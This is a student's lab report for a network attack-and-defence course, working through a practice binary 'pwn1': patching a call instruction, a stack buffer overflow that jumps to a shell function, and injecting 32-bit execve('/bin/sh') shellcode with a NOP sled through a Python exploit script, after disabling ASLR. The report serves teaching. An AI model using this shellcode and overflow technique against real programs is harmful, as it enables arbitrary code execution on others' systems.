20253907 2025-2026-2《网络攻防实践》第9次作业
20253907 2025-2026-2《网络攻防实践》第9次作业
1. 实践目标
本次实践的对象是一个名为 pwn1 的 Linux 可执行文件。该程序正常执行流程是 main 调用 foo 函数,foo 函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段 getShell,会返回一个可用 Shell。正常情况下这个代码不会被运行。我们的目标是运行这个代码片段,学习三种方法:
- 手工修改可执行文件,改变程序执行流程,直接跳转到 getShell 函数。
- 利用 foo 函数的 Bof 漏洞,构造攻击输入字符串,覆盖返回地址,触发 getShell 函数。
- 注入自己制作的 shellcode 并运行这段 shellcode。
2. 实验环境
| 虚拟机 | 角色 | IP 地址 |
|---|---|---|
| Kali Linux | 攻击/分析机 | 192.168.200.6 |
| pwn1 程序所在目录 | /home/kali/pwn1_20253907 | - |
3. 实验过程
3.1 准备工作
将 pwn1 文件拷贝到 Kali 中,修改文件名以及操作主机名:

3.2 方法一:手工修改可执行文件,改变程序执行流程
3.2.1 反汇编分析
使用 objdump 反汇编 pwn1 文件:
objdump -d pwn1_20253907 > pwn1.asm
再次输入命令
less pwn1.asm
查看关键部分:
080484af <main>:
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%esp
80484b5: e8 d7 ff ff ff call 8048491 <foo>
80484ba: b8 00 00 00 00 mov $0x0,%eax
80484bf: c9 leave
80484c0: c3 ret
80484c1: 66 90 xchg %ax,%ax
80484c3: 66 90 xchg %ax,%ax
80484c5: 66 90 xchg %ax,%ax
80484c7: 66 90 xchg %ax,%ax
80484c9: 66 90 xchg %ax,%ax
80484cb: 66 90 xchg %ax,%ax
80484cd: 66 90 xchg %ax,%ax
80484cf: 90 nop

08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp)
804849d: e8 8e fe ff ff call 8048330 <gets@plt>
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 <puts@plt>
80484ad: c9 leave
80484ae: c3 ret

0804847d <getShell>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp)
804848a: e8 c1 fe ff ff call 8048350 <system@plt>
804848f: c9 leave
8048490: c3 ret
发现 main 函数中 call 8048491 调用的是 foo,而 getShell 的地址是 0x0804847d 。我们需要将 call 的目标改为 getShell。
3.2.2 计算偏移
分析 main 函数的反汇编代码,call 8048491(调用 foo)的机器码为 e8 d7 ff ff ff,其中 e8 是 call 指令的操作码,后面 4 字节是相对偏移(小端序,补码表示)。我们需要将目标改为 getShell 函数的地址 0x0804847d。
计算新偏移:
- call 指令的下一条指令地址 =
0x80484af + 5 = 0x80484b4 - 目标地址 =
0x804847d - 偏移 = 目标地址 - 下一条指令地址 =
0x804847d - 0x80484b4 = -0x37 - 补码表示为
0xffffffc9,小端序为c9 ff ff ff
因此,新的机器码应为 e8 c9 ff ff ff。
3.2.3 使用十六进制编辑器修改
使用 vim 的十六进制模式或 hexedit 工具修改二进制文件:
cp pwn1_20253907 pwn1_mod_20253907
hexedit pwn1_mod_20253907
在 hexedit 中,按 / 搜索十六进制序列 e8 d7 ff ff ff,找到后修改为 e8 c9 ff ff ff。按 Ctrl+X 保存退出。

3.2.4 运行验证
./pwn1_mod_20253907
程序运行后,原本会调用 foo,现在直接调用 getShell,应弹出 shell。

3.3 方法二:利用 BOF 漏洞触发 getShell
3.3.1 分析漏洞
由于gets 函数不检查输入长度,输入多少字节,只是往栈上写多少字节,因此可以越过buf,溢出覆盖返回地址。
foo 函数通过 gets 读取输入到 ebp-0x1c 处,缓冲区大小实际为 28 字节,但 gets 不限制长度,可以覆盖 ebp 和返回地址。返回地址位于 ebp+4,从缓冲区起始到返回地址的距离为 0x1c + 4 = 0x20 = 32 字节。因此,输入的前 32 字节用于填充,第 33-36 字节覆盖返回地址。
3.3.2 确定 getShell 地址
根据反汇编,getShell 函数地址为 0x0804847d。
3.3.3 构造 payload
python3 -c 'import sys,struct; sys.stdout.buffer.write(b"A"*32 + struct.pack("<I", 0x0804847d))' > payload

3.3.4 运行攻击
(cat payload; cat) | ./pwn1_20253907
成功后会弹出 shell,验证命令如 id、whoami。

3.4 方法三:注入 Shellcode
3.4.1 关闭 ASLR
由于 shellcode 需要在栈中执行,而 Linux 开启 ASLR 后,每次运行程序时栈地址都会发生变化,因此需要先关闭 ASLR:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

3.4.2 分析栈结构
在第二个方法中已经分析过 foo 函数的栈结构:
lea eax, [ebp-0x1c]
说明输入缓冲区起始地址为:
ebp - 0x1c
返回地址位于:
ebp + 4
因此从输入缓冲区起始位置到返回地址之间的距离为:
0x1c + 4 = 0x20 = 32 字节
因此本次 shellcode 注入攻击的 payload 基本结构为:
payload = shellcode部分 + 填充到32字节 + shellcode地址
3.4.3 构造 Shellcode
本实验使用经典 Linux 32 位 execve("/bin/sh") shellcode:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
cdq
mov al, 0xb
int 0x80
对应机器码:
shellcode = (
b"\x31\xc0"
b"\x50"
b"\x68\x2f\x2f\x73\x68"
b"\x68\x2f\x62\x69\x6e"
b"\x89\xe3"
b"\x50"
b"\x53"
b"\x89\xe1"
b"\x99"
b"\xb0\x0b"
b"\xcd\x80"
)
3.4.4 获取缓冲区地址
不能直接在 GDB 中使用 run 获取地址,因为 GDB 中运行时栈地址与实际终端运行时会有差异。
首先在终端中直接运行程序:
./pwn1_20253907
程序会停留在输入状态。
打开另一个终端,查看进程 PID:
ps -aux | grep "pwn1"

得到:
kali 269419 ...
随后使用 attach 方式调试:
gdb attach 269419
进入 GDB 后:
set disassembly-flavor intel
bt
查看调用栈。

找到 foo 函数所在 frame,进入该 frame:
frame 8
查看 buffer 起始地址:
p/x $ebp-0x1c
得到:

说明输入缓冲区起始地址为:
0xffffcf3c
3.4.5 编写 exploit.py
编写 payload 生成脚本:
#!/usr/bin/env python3
import struct
import sys
buf_addr = int(sys.argv[1], 16)
shellcode = (
b"\x31\xc0"
b"\x50"
b"\x68\x2f\x2f\x73\x68"
b"\x68\x2f\x62\x69\x6e"
b"\x89\xe3"
b"\x50"
b"\x53"
b"\x89\xe1"
b"\x99"
b"\xb0\x0b"
b"\xcd\x80"
)
offset = 32
# ret 后 esp 会指向这里
ret_addr = buf_addr + offset + 4
payload = b"A" * offset
payload += struct.pack("<I", ret_addr)
payload += b"\x90" * 100
payload += shellcode
sys.stdout.buffer.write(payload + b"\n")
3.4.6 生成 Payload
使用命令:
python3 exploit.py 0xffffcf3c > payload
3.4.7 执行攻击
运行:
(cat payload; cat) | ./pwn1_20253907
输入测试,攻击成功!:
whoami
id

即可验证已经成功获取 Shell 权限。
3.4.8 实验结果
成功利用缓冲区溢出漏洞,将 shellcode 注入到栈空间中,并通过覆盖返回地址使程序跳转执行 shellcode,最终成功获得 shell。实验验证了缓冲区溢出不仅能够修改程序控制流,还能够实现任意代码执行。
4. 汇编指令机器码学习
| 指令 | 机器码 | 说明 |
|---|---|---|
| NOP | 0x90 | 空操作 |
| JNE | 0x75 | 条件跳转(不相等) |
| JE | 0x74 | 条件跳转(相等) |
| JMP | 0xEB (短) / 0xE9 (近) | 无条件跳转 |
| CMP | 0x38-0x3F (不同形式) | 比较操作 |
5. 实验中遇到的问题及解决
-
问题1:修改二进制文件后程序无法运行(Segmentation Fault)
解决:确认修改的偏移计算正确,call 指令使用相对偏移,不能直接改绝对地址。 -
问题2:BOF 攻击时 shell 一闪而过
解决:使用cat payload - | ./pwn1保持输入流打开,或使用(cat payload; cat) | ./pwn1。 -
问题3:shellcode 注入后没有获得 shell=
解决:一是使用 GDB 调试,确认返回地址正确落在 NOP sled 区域;二是不要使用frame 8得到的地址,而是buffer 起始地址,两个地址不一样。
6. 学习感想与体会
本次实验让我深入理解了缓冲区溢出攻击的原理,实验过程中参考了王晓寒同学的做法,尤其是方法三,总是攻击失败,过程中经常找错地址,请教多次才得以解决。本次实验主要学习以下内容:
通过手工修改二进制文件,我学会了如何操控程序执行流;
通过 BOF 攻击,我体会了栈溢出覆盖返回地址的方法;
通过 shellcode 注入,我见识了如何执行任意代码。
三种方法层层递进,从简单到复杂,让我对软件漏洞利用有了直观认识,见识到了这就是网络攻防当中的pwn题的影子。
浙公网安备 33010602011771号